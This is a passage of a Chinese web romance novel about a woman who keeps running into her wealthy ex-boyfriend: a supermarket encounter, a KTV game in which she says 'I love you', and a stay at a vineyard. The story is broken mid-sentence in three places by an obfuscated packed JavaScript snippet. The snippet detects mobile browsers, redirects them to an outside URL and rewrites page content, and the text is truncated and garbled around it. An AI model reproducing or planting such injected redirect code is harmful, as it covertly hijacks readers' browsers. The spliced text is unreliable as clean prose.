看了好一会儿,才冷嗤一声,把方向盘打出去。 他没好气地宣告他的惩罚:“进超市以后自己推购物车。” “……” 自己推就自己推呗,没有他的时候她一直都是一个人逛超市一个人推购物车啊,有什么的。 在冷冻区捞了几样火锅食材,又到零食区挑了几包膨化食品,铭心回头朝在桶装泡面区站着的人喊了声:“需要我的车就招招手,我可不像你那么小气。” 话音刚落,傅西灼就对她勾了两下手指。 “离了我可怎么活……” 铭心推着车过去,话说到一半突然看到谁,她迅速转身往相反的方向走。 走了没两步,被一双手捞住脖子,制住了。 “……” 傅西灼像移动一个八音盒上的小人,手搭在她肩膀上,把她转了个圈儿,掰正了,说:“躲什么?早认出来了。” “果然是我太显眼了吗?”铭心不由得扶额苦笑。 傅西灼极不赞同地扯动半边嘴角:“我更。” “……”这人自恋惯了,她懒得跟他一般见识,正好顺势甩锅:“那你决定怎么办吧,我跟着你发挥。” “确定?” 有点,不确定。 他稍微一个反问就给铭心问改了主意:“不行,还是我来说吧。” 毛毛姐旁边站着毛毛姐夫,转眼就走到跟前了。 “你小子还知道回来?”毛毛姐夫的见面礼是一个大力的推搡,外加一句恶毒的鄙视。 “真看不起你。”他说。 毛毛姐夫名叫黄连,是傅西灼本科时期的好友,毕业以后自个儿当老板,不清楚具体做什么生意,赚多少钱,但总归不会比富n代更有钱。铭心想不出傅西灼这样的家世这样的长相这样的人品,有哪一样是会让人看不起的,但黄连确实露出了鄙夷的眼神。 并且看着她的时候,眼神里的鄙夷更多了三分。 “……” 横竖想不起有什么地方得罪过他,铭心只好错开眼,不跟他对视。 只听到他的声音。 毛毛姐夫对傅西灼说:“你跟我聊聊。” 人被带走了。 只剩铭心跟毛毛姐,说话倒也更自在些。 俩人边逛边聊,毛毛姐只是笑,说的也净是些“看你们现在这么幸福可真好”之类的话。 在毛毛姐眼中,她跟傅西灼是金童玉女,是蛋糕上立着的两个小人,是永永远远不会分开的。谈了这么多年恋爱,她料定他们已经结婚。 同时毛毛姐又极富善心,像圣母玛利亚生下的小孩。她不相信人与人之间——尤其是她一路看着谈起恋爱的金童玉女之间——能有什么过不去的坎。 咖啡上的拉花做坏了,她总是说,下次就能做好了。 废稿画了一堆全进废纸篓子,她说你将来会成为有名的人,现在这些都是为成名作铺路呢。 本来以为全是安慰的话,偏偏后来证实她说的话格外准,说出来的都成了真。 铭心先获得了兼职咖啡店的优秀店员奖金,又成为网络上小有名气的画师。 因为毛毛姐这样的神奇属性,此刻,铭心怎么也说不出“我们早就不在一起了”这句话。 “你们分手了?”——如果说了,毛毛姐一定会这么问。 她不愿意“分手”这样的字眼从毛毛姐口中说出,以防她太过灵验的嘴会使这两个字变成永远的事实。 因而她只是一味地用以前的事岔开话题,把他们之间的故事给忽略过去。 …… “一眨眼你都变成大人了,气质沉稳了不少。刚来我店里那会儿啊,每天跟个小鸟似的绕来绕去,精力十足。” 是啊。她有时也会想,那时候怎么就不知道累呢? 课表上满满当当的安排,她还要另外抽出时间打工。 学校食堂的工作早上六点开始,她睡到五点二十五分起床,然后以最快速度收拾自己出门奔到食堂窗口去。 早饭是去教学楼途中吃的,早八的课没有迟到过,只是每次只剩第一排的座。 下了课再去咖啡厅兼职。 下午的时间通常不忙,到了晚上反倒人多起来。 顾客大多是附近写字楼的员工,操着疲惫的眼拿走一杯咖啡,再重新回到写字楼去。铭心看着他们,常常联想自己的未来。她想她有一天也会成为格子间的一颗螺丝,在加班到十点的时候下楼买一杯咖啡。 生活就这样一眼看到了头。芸芸众生,都在这样生活。 遇见傅西灼完全是个变数,他不是会出现在她的世界里的人。 算是一见钟情吧,她总跟他宣称是她先看上了他。傅西灼又用事实反驳:“是我先给你我的联系方式。” 她也摆证据:“是我先打电话给你。” 傅西灼:“我先约你出来约会。” 两人的纷争就这样突然开始又突然存档,她看着他刚做好的四菜一汤,眼睛都放光:“先吃饭好吗以后再争这次算你赢。” 争是争输了。 但铭心还是坚持她先爱上他,虽然起先是很浅薄的——看脸。 她注意到他来店里很多次。她相中他的长相,但没主动要过联系方式,太忙,而且也没必要。 唯一起过搭讪念头的那天,她先在购物软件上识别了他颈上露出的半截项链,看完价格,立刻取消了搭讪计划。 他是看起来跟她不会有结果的一款,有钱人。 连续来店里的第三十五天,傅西灼终于放弃了冰美式,问她:“能做拉花吗?” “可以,有参考图吗?” 推过来的却是他的电话号码。 用马克笔额外手写的,盖住了原本的打印体小字,显得格外突出。 内容记不清了,大概是xx公司x总这种职位。 她当时只看一眼就推回去:“太长了做不了。” 他倾身到柜台上,价值六位数的项链又从领口荡出来,在室内灯下闪闪发亮。 她顺着项链摇晃的动线看过去,发现他衬衫的领口略大。 原本想提醒一句,但看着看着给看忘了。 直到他抬手多系了一枚扣子,叫她“同学”。 “同学,你能不能看着我的眼睛说话?” 她才把视线从他形状很好看的锁骨上移开:“请问您还有什么需要?” “我没有需要,我希望你能需要我。”他说,“我来当你的模特好不好?” 铭心一愣:“你知道我的事?” “你的老板到处炫耀你,很容易跟她打探到消息。” “你都打探到什么了?” “你期末有个作业要交,可惜找不到合适的人体模特。” “还有呢?” “你不喜欢轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没有告诉毛毛姐,大概是不想在妻子面前说出她一直疼爱的小店员是个坏女人吧。 铭心“嗯”了声。东西装好,有点多,他一手拎了两袋,铭心主动想分担一袋。 他往后撤了半步,意思是拒绝。 “我告诉他,没人会傻到在同一个坑里栽下去两次。” “嗯。” “我拜托他帮我介绍合适的人,多见见人挺好的,不然总以为世界就那么大,离了谁活不了了。” “嗯。” 见他不再说了,铭心上前,勾住左边购物袋的提手:“分我一袋吧。” 他却把拇指一动,完全压住她的。 铭心想动动不了,对峙了几秒,只好运用策略“恶心”他一下:“想牵手吗?” 以为他会像甩开一条虫子一样甩开她,没想到此人依旧不为所动。 将她的手指禁锢得牢牢的。 铭心也就下了狠心,手往下面一探,干脆跟他十指相扣——尽管扣得很松。 视觉效果是达到了。 他应该不想跟她传绯闻吧? “傅西灼!”没料到半路杀出个程咬金,旁观者的愤怒比当事人的更早燃起。 傅西灼口中的朋友——黄连,迈着大步赶上来,急切地撕开两个人。 “我还真以为你有骨气了呢!” 黄连把塑料袋扒拉了个口子:“你看看,你看看你这里面!一样你自己喜欢的都没有,全是你大学时候就列清单让我买了送到咖啡店里去的零食。” 说到零食,愤怒的小鸟黄连又把头转向铭心,眼里冒火似的:“几年了还吃浪味仙,吃吃吃吃不够?” 铭心刚想回一句挺好吃的啊。 黄连就已经转移阵地,把口水对准傅西灼。 “世界上就这一个女的了?给你介绍过多少优质的女孩你不去见,你给全拒了!” 瞪着眼,黄连用一副恨铁不成钢的语气向好友吼。 “你到底怎么回事啊?同龄人都结婚了,你还在和历铭心纠缠!” 10. 第 10 章 铭心请了假,跑回家里洗澡。 团建顾不得了,食材顾不得了,一切都顾不得了。 她抛下他自己逃了。 在旁人眼里,他们那样算纠缠吗? 她曾经,巴不得跟他缠个几生几世。 现在,听到“纠缠”这个词,她总会自动替换成“负担”。 少见面少相处,甚至不见面不相处,才是合格前任的行事法则。他们却互相,总在越界。 花洒里的水越喷越烫,铭心只好关停了。一时间纷乱的思绪静止,狭小的空间里万籁俱寂。她突然疑心病冒头,没来由地想:戒指是被我放在屁股兜了吗? 洗完了去脏衣篓里找,没有。 那会在哪呢…… 会不会是掉在什么地方了? 铭心在床边坐下,两手交叉抵住额头,发动头脑风暴。 ……从她手上取下来之后……口袋……超市……车上…… 按照戒指的旅行脉络复盘了一下,最有可能是掉在车上了。 他的车。 发个消息问问吧? “我的戒指……”打完,她删掉“我的”。 “戒指有没有掉在你……”删掉所有的字。 发消息太慢,而且他本来就不爱回消息。不然直接打电话好了。 那边接听得很快。 她也挺快,几句话就把重点说完了,等待他回音。 “不清楚。”那边冷淡承诺:“有空的时候会试着找找。” 很忙似的,他挂断了电话。 铭心看了眼通话时间,才十三秒。 放下手机,心里空落落的,有一种强烈的被敷衍了的感受。 ——有空的时候。 这五个字就像一张无期的空头支票,你不知道什么时候算有空。他随时可以有空,也随时可以在有空的时候称作没空。 总之,他的反应表明,他是不愿意为她耗费时间的。 因为没什么希望,工作又忙,渐渐的,铭心也就把这事儿淡忘了。 有一天晚霞很美,加班也终于告一段路,早早下了班,铭心不怎么想回家,就跟新来的实习生孙小莹在路边找了家能看到天空的小馆子,坐在外面吃。 小面很香,热腾腾的,放了很多香菜。 因为江依很不爱吃,铭心逗她,故意在上面铺好一层,看起来绿油油的一大片,拍好照片传过去:“你的最爱。” 面吃掉一半了,手机出乎意料地没有弹出任何消息。 照理说这个时间点江依应该会秒回才对啊……会发来一大串“呕”并且点评:邪教。 今天怎么这么反常? 抬头看一眼孙小莹,她也是在玩手机,铭心也就不顾及了,一手把筷子往嘴里送一手捞起手机,嚼着面看一眼消息。 “……” 果然。 爆发了乌龙事件。 她发错人了! 照片和文字通通传给了傅西灼。 最主要的是:香菜的确是他的爱! 那看起来不就更像她是睹物思人而发给他的吗!? ……事情的走向开始变得奇怪了。 铭心放下筷子,吃不下去面了。 正准备打字纠正——告诉他是发错了不要想多之类的,就看见上方开始显示对方正在输入中。 等了好一会儿,什么也没输入似的,消息框有0条新消息。 …… 吃完回家,天已经黑了。 手机震动了下,她掏出来,点开。 是傅西灼传来的一张晚餐图。 白花花的鸡胸肉,配了点杂七杂八五颜六色的菜跟谷物,大概是健身餐。乍一看丰富,实际挺难咽下去的。他配文: 【不好吃】 后面还跟一个咽一口青菜后晕过去的猫。 表情包挺可爱的,铭心立刻长按点了收藏。 可……应该回他点什么呢? 她心里还没底。 聊天的起源就是个误会,他却不知道是误会,发过来他的生活。 铭心一直盯着手机,盯到脖子都发酸了,终于仰了仰头,想缓解一下低头族症状。 一看天上,月亮不错。 她举起手机拍了张,发过去: 【好瘦】 很弯很瘦的一个月亮,像他某部位窄窄的骨头。 他则传回一棵张牙舞爪的树。 铭心把他们今晚的聊天记录反复看了几遍,顿悟了。 ——她发什么,他就会返类似的给她。 像突然get了电子宠物的使用说明书,铭心立刻举一反三,回到小区的时候发了张窝在草坪里的小猫的照片给他。 果然,一分钟后,他传来一张摩卡在地上打滚的靓照。 虽然狗儿动作太快拍出了残影,不过没关系,铭心心满意足地达成了看狗的愿望。 - 下周三,铭心调休一小时,早下了会儿班,去“暖窝”当铲屎官。 “暖窝”是附近的流浪狗收容中心,有200多只狗狗,上周刚入住了一只跛脚的萨摩耶,铭心从公众号的推文看见了,就想着去见见新朋友。 做完义工从“暖窝”出来已经七点了,步行着去了一公里外的洗浴中心,把自己和脏衣服都洗干净了,铭心穿着新衣服走出来。 一到门口,掌珠打电话来。 叫她往上看。 “上来吧。”掌珠说。 铭心仰头,看见个极小的人,摆摆手,楼上的人也摆摆。 “在几楼?”铭心问。 报了店名,掌珠说:“在七楼。” 铭心没想到这儿还有个私房菜馆。 “你来,正好给你介绍营销部的人认识。” 营销部……那也算她的甲方。 “好。” 电话一直没挂,到了门前,铭心说:“我到了。” 一阵哒哒哒哒的脚步声,推拉门嗤啦一开。 一个小女孩眼神亮晶晶地来拉她的手:“进来吧姐姐。” “我妹,叫小来。”袁达起身迎她。 “坐我旁边。”掌珠也说。 还有个人静静的,一副低气压怨灵的样子,听见她来,只微微掀了掀眼皮。 铭心同样也没给他眼神,从坐下开始就只跟掌珠聊天,聊这里的菜色啊,聊她们共同喜欢的射击,还聊到掌珠的美人鱼酒庄。 上次的合作很愉快,稿子交了几乎没怎么改就通过了,这次的新系列也还是想要她来画。掌珠问:“这周有时间吗?来一趟呗,我这儿有好酒和葡萄园。你就当实地考察找灵感了。” 铭心这辈子还没去过葡萄园,只见过画里的和网友发的,当然一口就答应了。应完自己也觉得太爽快了:“我是不是显得太迫切了?” “我需要你需要得更迫切。”掌珠说。 服务员来上菜,袁达负责摆桌:“吃吧,多吃。你要吃不饱啊,她回去得狠狠抽我,嫌我招待不周你。” “用爱的鞭子?”铭心也顺着开玩笑。 掌珠耳朵微微红起来,轻推她一下:“谁爱他了。” “我爱你,行了吧?”袁达嘿嘿笑。 “吃不吃?”冷面怨灵发了话。 袁达立刻不笑了,“你吃你的呗,要觉得一个人吃寂寞,让小来陪你。” “我早就开始吃了!”小来的声音很脆,带点少女特有的尖声。 怨灵停了手上的动作,把盘子推过去:“吃吧。” “谢谢哥哥!”小来取了公筷,把虾由大盘转移到她面前的小盘里,吃得很香。 小盘里的吃完了,她把大盘子一推,到铭心眼下:“啊……吃不下了。” 铭心拿手指了指自己,意思是:我?我来解决? 小来点点头。 掌珠和袁达则摆手:“我俩都不爱吃虾。” 那好吧。正好她很爱虾。 美美享用完一盘,铭心去洗手,碰上小来。 小孩一见她就喊:“姐姐!我给你看样东西!” 铭心把头探过去,小孩手机屏幕太暗了。 “你这样对眼睛不好。”她帮忙调亮了些,才看清上面是一张合影。 左边是小来,右边是傅西灼。 “拍得真漂亮呢。”她夸。 “是因为姐姐才有的,谢谢姐姐。” “啊?”跟我有什么关系? “哥哥说对你说一句台词就可以答应合照呢,我要拿去跟同学炫耀!” 铭心一怔:“……什么台词?” 小来是演技派,皱眉的速度比吃饭还快,开始摸着肚子热演:“啊……吃不下了。” “……” 吃完饭,一行人上了电梯,掌珠按下三层:“其实今天也是员工团建,我给他们订了KTV,四间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315364|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包房,带你去营销部那间看看。” 铭心乖乖跟着。 包间太大,倒显得人不多了。 “你好,陈银。”一个瘦高个儿给她递酒。 铭心也报了自己的名字,只是没接酒杯。 “我都嘱咐过了,你在这安心玩吧,玩够了就找陈银谈工作,什么时候他都等着你。” “你。”掌珠拍了拍傅西灼,“在这陪着然后送她回家。” 掌珠一走,包间立刻又炸开了锅,拿麦的跑调挺厉害,铭心有点想逃。但想到确实是有工作要谈谈的,她就过去找了陈银。 陈银打了个手势让站控台旁边的同事把原唱关了,拿麦的瞬间哑巴,不敢唱了。 “玩几局?”陈银在玩叠叠高,想拉她入局。 “三局。”铭心说,“然后你跟我出来。” 旁边围着的一窝人起哄极快,嗷嗷哇哇的,铭心耐着性子陪玩。 每块积木上写一个问题,前两轮都不难,问一些优点缺点恋爱经历之类的,铭心随便就给过了,一口酒都没喝。 到了最后一抽,铭心瞧着上面的字愣了会儿: “对在场的一位异性说我爱你。” 倒不是有多难,只是…… 恐怕会得罪人啊。 偷眼瞥一下傅西灼,他正百无聊赖地咬着一块牙签梨,完全不在意这边发生了什么。 本着得罪生人不如得罪“仇人”的原则。 “我爱你。” 学生时代铭心就获得过朗诵类的奖项,习惯了把有感情的话有感情地念出来,这个习惯至今未改。今天这三个字也是一样,从她口中吐出来,像是一节优美的散文诗。 傅西灼的牙签扎向盘子里的小番茄,番茄爆了汁。 他抬起眼来。 被“表白”的主人公是他。 意识到这点时,他不屑一顾地扯了扯嘴角。 铭心看得出,他觉得荒谬。 抽一张纸,慢慢地擦掉溅到手指上的红色汁水,他起身。 居高临下地从她手里。 取走了那枚积木。 似乎是读过了上面的字,觉得很无聊似的,他放进手里把玩着。 积木在他指间,转一圈,转一圈。 表情始终非常淡,眼神里透出浑不在意的冷。 而后他抬手一掷。 整座积木被击中。 砰的一声轰然倒塌。 …… “等会儿,我有话说!”游戏局搞砸了,陈银气喘吁吁地追上这个祖宗,“你怎么突然发这么大火?” 傅西灼脚步没停,手上一按,车门已经自动打开。 “我是来替人传话的!”工作虽然没时间谈了,但他加了铭心的联系方式,交换条件是追上这个难搞的长腿男替她传个话。 “替铭心——” 傅西灼停下来。 眼神嘴角都透着讽。 “你来传话?”他笑了声,“黑骑士当得可真称职。” 看着不是可以斗嘴的氛围,陈银站那儿,把气喘匀了,开始一字一字认真复述:“她说玩游戏冒犯了你,对不起。” - 回到家,铭心一直画稿到凌晨一点。 收拾完垃圾出门去倒,却在楼下看到一辆熟悉的车。 一敲窗,窗玻璃降下来,露出一双分外好看的眼。 在夜色中,辨不清情绪。 “喝酒了?” 她觉得他是醉了,不然不会在这个时间出现在这里。 他默不作声。 这么晚了,铭心不像白日那样有耐性,手指敲了敲车门,让他:“下车。” 又问:“你不睡觉?” 从来都作息规律的人,熬夜跑这来是在干什么?身上也压根就没有酒味。 他下车来。带着点不明所以的气,铭心推了他一把。 他像个不倒翁小人似的又弹回她面前。 “到底有什么事?” 铭心仰着脸固执地问。 见他这样子,声音越说越软下来,心也有点软。 他依旧不做声,久到铭心脚都站僵了,假意威胁说:“我走了。” 他才像个刚上发条的机器人,猛然扯住她。 “你说你爱我。” 四目相对,他的眼神忽然非常非常温柔,闪着一派心碎的光:“——这是不是游戏?” 11. 第 11 章 高强度的工作使铭心的脑袋一时缓不过劲儿来,她想撒个谎,声音却颤抖失控。 “今、今晚……” ——今晚的一切都只是游戏。 这句话,有什么难的? 可话到喉咙口就哽住了。 他就像一路打怪后突然出现的奖励关卡,她不想绕过装作没看见,也不想挥剑指向他。 “今天晚上很冷,”有一个瞬间,她想带他进家里,将他怀有的金币、经验值、特殊道具,全部吞吃入腹,人尽其用地用他,也让他用……“回去吧。”她让他。 很短暂的,恶念几乎一冒头就被她打入地底了。 铭心把手里已经搓热的暖宝宝塞到他手心。 他抬起头。 恨意和哀伤一同从眉眼间生长出来。 凑近了,嘴唇几乎贴到耳根,他对她吐出几个字。 ……这算是悄悄话吗? 直到进了黑洞洞的楼梯铭心还在想。 他们之间是犯下了什么罪过,以至于这样善始恶终。 洗完澡,顶着个大毛巾走到窗边,外面居然在飘雪。 雪片密而大,像是路灯吐出来的。 路灯下—— 铭心的心一震。 他的车还在那里! 他……没走? 倏忽间乱了心神。来不及细想,人就已经奔下去。 刚到一楼,被迎面而来的寒风打了个正着,头发一阵湿冷,这才反应过来头发忘了擦,她跑得太急。 看见那车的尾巴了,铭心却停了步。 说不定他正准备走了,下一秒就会启动发动机;也说不定…… 最终还是一咬牙迈了过去。 雪竟然这么厚了?在高处往下看,还以为薄薄一层。 那车停在那里,周身都覆上了白,像一个孤独的路标。 铭心放慢步子,不想显得太迫切。 走近了,窗是紧闭的。敲了敲,看样子没有人。 她站在那里,看向他来时的路。 路灯温暖地照着,路上有太多人的脚印,她分辨不出哪个是他的。 那样爱干净的一个人,明明最讨厌沾上雪水。车子坏了吗?他怎么走回去的? 突然,铭心像被什么东西打了一下,猛地蹲下身来,捂住了右边耳朵。 由于熬夜太厉害,她本来就有间歇性的耳鸣,这会儿猛然被风灌进耳朵里,尖锐的疼痛使她毫无准备。过后是一阵熟悉的嗡嗡声。 她痛苦地闭上眼睛,像个盲人一样四下转头,寻找让耳朵稍微舒适一些的角度,恍惚间,他的“悄悄话”又响在耳边。 语声伤而怨的,他对她说: “……你真的太坏了。” - 周六一早,又在楼下碰见他。 没等她开口问,他就解释了来意:“来取车,顺便找雇主讨些工作。” 这头衔还真是…… 本来想跟他拌两句嘴,一转念,还确实有件事他来干挺合适。这么想着,他的话又听着顺耳了不少。 “正好我也要找你呢,”铭心顺坡下驴,“走吧,上车。” 钻进副驾驶座,铭心眼珠子一转,想到自己好像过于自然了,像使唤他似的。“我会多付你酬劳的,油钱我也会付。”补了句。 他把车子调出去,语调没什么情绪:“当然,我又不做赔本生意。” “需要待多久?” 车子驶上大路,傅西灼才开始关心他的工作时长问题。 “不确定呢,估计得晚一点才能结束。” “不会是为了多跟我相处故意延长时间吧?” “说什么呢……”被无语笑了,铭心郑重地回复他:“再好看的脸看久了也会烦的好吗?” “除夕那天。” “那天怎么了?” “没有立刻对你生厌。” “?” “看来是因为太久不见了。” 铭心:“……” 铭心:“那是因为我的脸是无敌好看耐看的类型好吗!” - 车子驶过平路山路,窗外逐渐出现了另一幅景象。 隔几米竖立着的葡萄架上方是纷乱缠绕的葡萄藤,像铁丝织成的网,里面还有正在修剪葡萄藤的工人。远远望去很是壮观。 许是见她一直往外探头,傅西灼将车子往边沿靠了靠。 更近距离地看过去,那些藤缠绕非常紧密,让铭心一下想到了不久前吃的龙口粉丝,如果上手撕一把,这藤是绝对撕不开的。 一下车,陈银先迎上来说:“行李交给我吧。” 带的不多,只有一个20寸的小行李箱,陈银从傅西灼手里接过去,一路引他们到待客厅。 一张四方红木桌,桌上已经摆了一瓶酒,两个酒杯。 “尝尝。这是我们这儿的规矩,贵客来了先尝酒。” 陈银这么一上高度,铭心感到了压力,有了种必须要点评出什么惊世美言的责任感。但她对酒的品鉴知识实在贫瘠,憋了会儿,她说:“很好喝,真的。” 陈银在憋笑,没憋住,还是笑出来,“你挺可爱的。” 铭心没听出来这话是在夸她还是在讽她是个土老帽儿,也笑了笑:“我对酒了解得不多。” “需要什么我来给你打下手就行了,毕竟这行是我本职工作,你们那行我可就不懂了。”陈银比了个枪的手势,“虽然不懂,但我很会听懂别人的话,你指哪儿我打哪儿。” 铭心边点头,听见旁边人的酒杯一落,在桌上碰出点声响。 看过去,是傅西灼把酒喝完了。 轻笑一声,他对陈银说:“我是她的助理,你要没活儿干就去把园里杂草除了。” “冬天没什么草。”陈银驳了句。 “春风吹又生,斩草要除根,你不知道?” 可别过会儿杠起来了,铭心赶忙从陈银那开始劝:“我助理文学素养有点高,还是别跟他pk古诗词了。” 一年级就会背的诗,说完了她自己也有点想笑。本意就是想逗逗他的,一看傅西灼表情,不但没被她逗到露出窘的神情,反而唇边还有缕微微得意的浅笑。 “抱歉。”没等陈银说话,含着那点浅笑,他开了口:“虽然感到抱歉,但我的雇主很护短。” “为了你好,”他继续说,“你还是别惹我了。” 铭心:“……” 什么啊,这得意又炫耀的口吻。 “小来!”陈银喊了声。 立刻就有个小女孩从外头跑进来,飞碟一样。 “偷看什么呢,带你偷看的这位有主人的帅哥去203房间。” 203? 那岂不是…… 他在她隔壁吗? 还是对面? - 这里的房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315365|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟酒店完全不一样,房间上既没贴牌也没标号。 每间房都紧闭着。 铭心找了好半天才找到门框上一个不起眼的204,这就是她的房间了。进去收了会儿行李,有人来敲门。 “姐姐!”小来边打着门边叫,语气很兴奋。 开了门立刻扯她胳膊,作势要把人往外带:“来我屋里玩吧!” “等等等等……”铭心扒着门框诱骗,“我这儿有好吃的,你先进来。” 路上的时间也不短,她实在有点累,本来打算参观一下酒庄现在也不想动了,更别说陪小孩玩了。 只想往床上一躺玩手机。 既然说了有好吃的那不能诓骗小孩啊,铭心从行李箱翻出盒巧克力棒。 小来嘎嘣嘎嘣嚼了半条,没吃完。 突然把巧克力棒咬在嘴里往她那凑,嘴里黏糊不清地说:“好无聊啊,我们玩×&%¥#@……吧?” “……”在短暂的一句话里铭心已经确信她搞不懂现在小朋友之间的语言了。模模糊糊地听着像是英语,她“嗯?”了声,问:“翻译成中文是什么?” 小来把嘴里那根巧克力棒嘎嘣嘎嘣嚼完了,亮出手机给她看。 百度百科显示: pockygame是一种以日本零食pocky巧克力饼干棒为道具的趣味互动游戏。其核心玩法是两人分别从饼干棒的两端开始啃食,直到嘴唇接触或饼干断裂为止,常见于社交娱乐、影视作品中,具有轻松幽默或增进亲密感的属性…… “吃个零食花样还那么多?你们学校小孩之间很流行这个吗?才多大年……”铭心下意识输出了一通,猛然发觉自己变成了小孩子口中煞风景的古板大人。 立刻停下,她放柔了声线道:“你叫我去你那就是玩这个嘛?” 小来摇头:“是想跟你一起看恐怖片,还有哥哥一起。” “你哥哥是……?” “你也认识的啊,剥虾哥哥。” “啊……”铭心反应过来,“傅西灼?” “你们很熟吗?他都不允许我像你一样叫他名字欸。”小来托着下巴,露出略微忧郁的表情,“他不喜欢我哥,说也不想跟我显得太熟。” “那他让你叫他什么?” “喂,呀,你这人……之类的。” 铭心被逗笑了,这都什么跟什么啊。 她替小来摘下她眼下皮肤上的一根睫毛,安慰道:“他逗你玩的,你随便称呼就行。” “看来是很熟呢,”小来叹了口气,“我也想跟他熟。” 瞬间又打上鸡血:“所以!我要跟他一起看恐怖片!” ……小孩子就是有精力哈,铭心扶额,“你怎么总喜欢一些刺激的啊。” “姐姐你害怕?” “谁害怕了,怕是小狗。” 小来明显兴奋了,开始在手机上啪啪打字:“因为你害怕所以我发消息给‘呀’了,让他过来。” “我明明说我不怕……”铭心脸上两条黑线。 “哎呀,这只是一个借口而已,我说我怕也不管用呀,他又不会因为我害怕就跑过来。” 铭心:“说我怕其实也没用……” 下一秒。 “他同意了呢!” “不过我两种都邀请他了。” “恐怖片,还有pockygame,”小来晃晃手机,“不知道他心仪哪个呢!” 12. 第 12 章 铭心的头脑差不多完全是懵的,只有太阳穴突突直跳,一闭眼,脑子里跳出“嘴唇”两个字。 嘴唇——那个巧克力棒游戏是怎么样来着?她回想着百度百科。 ……啃食,……断裂,……接触……。 接触!? 跟他? 心里猛地一震,铭心停住了脚。 往里头打了一眼,傅西灼已经坐在沙发上,中间位置,拿着遥控器在选片。 “我屋大吧?”小来推着她往里走,“这大屏看片可爽了。” 铭心无奈进去了,往最边缘上坐。 小来瞥一眼:“你俩坐得也太宽敞了,感觉中间还能放个我。” 铭心做了个请的手势,意思是您请。 “那好吧,既然你俩授受不亲,我就坐中间当个防线好了。” 结果是三个人挤了半边沙发。 看着完全不均衡。 但直到电影开场,傅西灼都没有往空处再挪一挪的意思。 铭心气不过,一把抽出他靠着的抱枕。 背后空了一下,傅西灼才抬眼撩她一秒。 “……”一对视,她视线就不自觉地往他嘴唇上瞄,魔咒一样的声音又响在她脑中:嘴唇,接触…… 铭心把头一别,正对着电视,抱枕窝在怀里使劲抱着。 看不见他脸,心情倒平静多了,铭心打起十二分的精神把眼追在电影上,以逃避那个恐怖的魔音。 电影开始,只看了个开头就觉得很熟悉。是太套路化了吗?怎么感觉好像在哪看过? 十分钟后,终于认出来,确实是曾经看过的一部电影,无聊到跟别人推荐恐怖片的时候都很难被想起。 特别想问问另一位当事人,但是呢有个第三人在,说话又不很方便,想了想,铭心用双手捂住小来的耳朵。 同时控制住音量,她低声问他:“我们一起看过这个吧?” “不记得。”傅西灼冷声回。 “……哦。”铭心松开手,摸摸小来的刘海,开口哄道:“刚才电影里有怪声,我怕吓到你。” “什么怪声?是小孩子不能听的吗?” “就是那种比较恐怖的音效。” “喔,那种我不怕的。” “嗯。”铭心不再把话题扯下去,决定专注电影。 专注了没多会儿,心气还是不平。 不记得。 什么嘛。 就好像她记得似的,她也只差一点就忘了好吗! 电影果然平淡如水,如她记忆中那样没什么看点,播到一半,没人尖叫,也没人捂眼,小来打了个哈欠说:“我去拿点零食吃吃。” 人一走,中间的位置空出来。 空气中立时弥漫起淡淡的尴尬气氛。 两人沉默听着电影里的刺耳尖叫,都面无表情。 半晌,他像是终于受够了这部烂片,将遥控器往她那一丢:“关了吧。” 选择权交到了铭心这里,她突然不那么想让他得偿所愿了。 况且现在的场面虽然尴尬,却并不难熬。铭心没按关机键,没什么灵魂地开口劝他:“忍一忍吧,可能后面会变得有意思呢。”尽管她已经知道后面也没什么意思。 “也得稍微能看得下去才能忍吧?” 第一次跟她看的时候明明没讲过看不下去这种话,还陪她看完了整场呢。看来他是真不记得了。 既然不记得,铭心就更不想听他的。“后面真的会有意思一点。”她继续骗。 “能把某人看睡过去,看来是相当有意思了。”他表情无语,对着她阴阳怪气。 铭心迅速揪住他话里的漏洞:“你不是说不记得跟我一起看过吗?” “记得又怎么样?” “你——” “姐姐!” 小来的声音突然从身后传来,铭心也没想到该怎么回他,“记得又怎么样”,是啊,能怎么样呢? 她干脆放弃了逞一时的口舌之快,回过头去。 于此同时,她手里的抱枕被抽走,遮到她眼前。 铭心:“……嗯?” 下一秒,一个温暖的手心代替抱枕,覆住她眼睛,将她整个人往后带了带。 她能感觉到自己的肩胛骨抵在他怀里。 呼吸缠绕在她侧颈,他声音低低的。话是对外面人说的。 “别闹了。” “哦。”小来低落的声音响起,“我错了。” 铭心掰开他手,见小来垂着脸,手里拎一样东西,细看,是一张鬼面具。 “刚才戴着来的吗?”看出小姑娘不太开心了,铭心起身过去,拉拉手在哄。 “嗯,他怕吓到你,威胁我摘下来了。”小来告状,委屈地指指傅西灼。 “哇真的好可怕。”铭心拿过那面具细看,用非常真挚的口吻:“要是不留神,我真的会吓一大跳然后跳起来尖叫。” “哈哈哈……”小来一下开心起来,“真的吗?我就是想达到那种效果来着!” “真的。”铭心点头。 又问她:“自己做的?” “你怎么知道?”小来像被伯乐发现的千里马一样亮了下眼睛。 面具比较粗糙,像手工而不像量产。铭心笑:“看你好像有这种天分。” “我们这边有个鬼屋,用的道具都是我做的,还有很多呢,等我写完作业带你去看。” 